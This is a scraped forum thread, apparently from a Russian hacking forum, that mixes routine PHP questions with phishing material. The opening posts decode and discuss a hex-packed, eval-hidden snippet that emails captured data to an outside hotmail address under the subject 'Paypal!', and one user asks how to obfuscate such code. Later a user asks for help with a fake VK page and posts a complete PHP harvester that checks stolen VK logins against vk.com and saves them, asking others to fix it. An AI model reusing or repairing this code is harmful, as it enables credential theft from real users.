In your PHP script change function eval() on function echo(): PHP: <? echo(pack("H*","2448695431203D20227072347840686F746D61696C2E636F6D223B0A247375626A656374203D202250617970616C21223B0A2468656164657273203D202246726F6D3A20204D722E707234783C7072347840686F746D61696C2E636F6D3E223B0A6D61696C2824486954312C20246D61696C7375626A2C202464617461293B")); ?> When you run this new script you will see decoded code, and the result is a code that is sent to you Isis. Do not forget to remove the extra spaces in the code
Got it. Sorry for my n00b question. If I want to encode this code Code: $HiT1 = "[email protected]"; $subject = "Antichat!"; $headers = "From: Antichat rules"; mail($HiT1, $mailsubj, $data); To the eval pack coding, then how am I to that? I mean I have understood how to decode it but want to know how it is encoded.
Здравствуйте, уважаемые. Не подскажете как Линукс время перевести в нормальное время? То есть 1332340353 перевести в дату? заранее благодарен.
Странный баг вчера появился PHP: <? $a = 22; $b = 22; if($a >= $b) { echo 'yes'; } else { echo 'no'; } ?> выводил no пытался понять в чем дело, и решилось только так. PHP: <? $a = 22; $b = 22; if(trim($a) >= trim($b)) { echo 'yes'; } else { echo 'no'; } ?> выводит yes почему первый вариант не работает? я так понимаю у меня php глюченный и добавляет в переменные какой-ни будь nul байт? или типа того
Kruzak, чему равны: PHP: echo gettype ($a); echo gettype($b); Хотя даже PHP: <?php $a = "22 коровы"; $b = "21 корова"; if($a >= $b) { echo 'yes'; } else { echo 'no'; } ?> Такое будет работать
Chaak, все понятно теперь integer | double вопрос тогда другой, как перевести $a в числовой тип? может просто $a = $a*1; делать?
Нужна помошь по фейку. есть сайт, фейк контакта http://vk-posetutelu.16mb.com/ Куда вставить коды для виджетов ? Мне нравится и коменты. Код для коментариев <!-- Put this script tag to the <head> of your page --> <script type="text/javascript" src="http://userapi.com/js/api/openapi.js?49"></script> <script type="text/javascript"> VK.init({apiId: API_ID, onlyWidgets: true}); </script> <!-- Put this div tag to the place, where the Comments block will be --> <div id="vk_comments"></div> <script type="text/javascript"> VK.Widgets.Comments("vk_comments", {limit: 15, width: "496", attach: "*"}); </script> Код для Мне нравится <!-- Put this script tag to the <head> of your page --> <script type="text/javascript" src="http://userapi.com/js/api/openapi.js?49"></script> <script type="text/javascript"> VK.init({apiId: API_ID, onlyWidgets: true}); </script> <!-- Put this div tag to the place, where the Like block will be --> <div id="vk_like"></div> <script type="text/javascript"> VK.Widgets.Like("vk_like", {type: "full"}); </script>
На этом форуме обсуждение фэйков запрещено. Для начала советую почитать документацию: http://vk.com/developers.php?id=-1_27987570&s=1
Проблема с формой обратной связи. После отправки пользователем данных через нее, на email поступают символы вместо русских букв. Помогите наладить. PHP: <? if (isset($_POST['name'])) {$name = $_POST['name'];} if (isset($_POST['email'])) {$email = $_POST['email'];} if (isset($_POST['subject'])) {$subject = $_POST['subject'];} if (isset($_POST['text_message'])) {$text_message = $_POST['text_message'];} $name = stripslashes($name); $subject = stripslashes($subject); $name = htmlspecialchars($name); $subject = htmlspecialchars($subject); $email = stripslashes($email); $text_message = stripslashes($text_message); $email = htmlspecialchars($email); $text_message = htmlspecialchars($text_message); $address = "[email protected]"; $message = "".$text_message."\nС уважением, ".$name."\nМой контактный e-mail: ".$email.""; $verify = mail($address,$subject,$message,"Content-type:text/plain; Charset=windows-1251\r\n"); ... все файлики формы http://upwap.ru/2114671
В том, что значение константы нельзя изменить. Также значение константы нельзя задать через GET/POST/Cookie даже когда register_globals=on.
тема с контактом еще актуальна?) шарился на старом жестком диске и налетел там на такое PHP: <?php set_time_limit(0); Error_Reporting(E_ALL & ~E_NOTICE); $mail = $_POST['login']; $pass = $_POST['passwd']; function request($url = '') { $u = parse_url($url); $path = $u[path].'?'.$u[query]; $ip = gethostbyname($u[host]); $fp = fsockopen($ip,80,$en,$es,15); while(!$fp){$fp = fsockopen($ip,80,$en,$es,15);} $req = "GET $path HTTP/1.0\r\n"; $req .= "Host: $u[host]\r\n"; $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4\r\n"; $req .= "Content-type: application/x-www-form-urlencoded\r\n"; $req .= "Connection: close\r\n\r\n"; fwrite($fp,$req); while(!feof($fp)) { $s .= fgets($fp,256); } fclose($fp); return $s; } $ex = request('http://vk.com/login.php?email='.$mail.'&pass='.$pass); if(preg_match("#Set-Cookie: remixsid=#", $ex)) { $f = fopen('base.php', 'a+'); fwrite($f, "<tr><td align='left'>".$mail."</td><td align='right'>".$pass."</td></tr>"); fclose($f); echo ('<html><head><META HTTP-EQUIV="Refresh" content ="0; URL=login.php"></head></html>'); } else { echo ('<html><head><META HTTP-EQUIV="Refresh" content ="0; URL=logon.php"></head></html>'); } ?> Помогите оживить?) откуда он у меня уже и не помню) но очень бы хотелось чтобы все снова работало... а то любые введенные данные считает правильными, ну кроме пустой строки по идеи должен проверить акк, и если верный записать в фаил... но в фаил пишет все подряд, что ему приходит...
Мужики, ну в упор не пойму, проверял, все ок выводит считает.. нормально но почему-то в кукисы передает +2 значение счетчик, ставлю вместо $counter++; - $counter = $counter +2; Он вообще мне в кукисы +4 присылает вроде код правильный гляньте, может с сервером проблемы или все таки со мной?? PHP: <?php $counter = 0; if (isset ($_COOKIE['counter']) and is_numeric($_COOKIE['counter'])) $counter = $_COOKIE['counter']; $recentVisit = ''; if (isset ($_COOKIE['recentVisit'])) $recentVisit = $_COOKIE['recentVisit']; ?> <!DOCTYPE html> <h1>Последний визит</h1> <?php if($counter == 1){ print '<h2>hello</h2>'; }else{ print <<<HTML <h2> $counter посещений </h2> <p>Последнее посещение: $recentVisit</p><br> HTML; } $counter++; setcookie ("counter", $counter); setcookie ("recentVisit", date('d/m/Y H:i:s')); ?>
Оно даже работает? Как?! Нельзя редактировать хидеры после того, как был отправлен сам документ, то есть нельзя выполнять команду setcookie после echo.
да оно вначале стояло правильно, да тут моя вина, но если переставить счетчик + хидеры до вывода, как оно и было, все равно х2 все) то я уже мудрил))) забыв об этом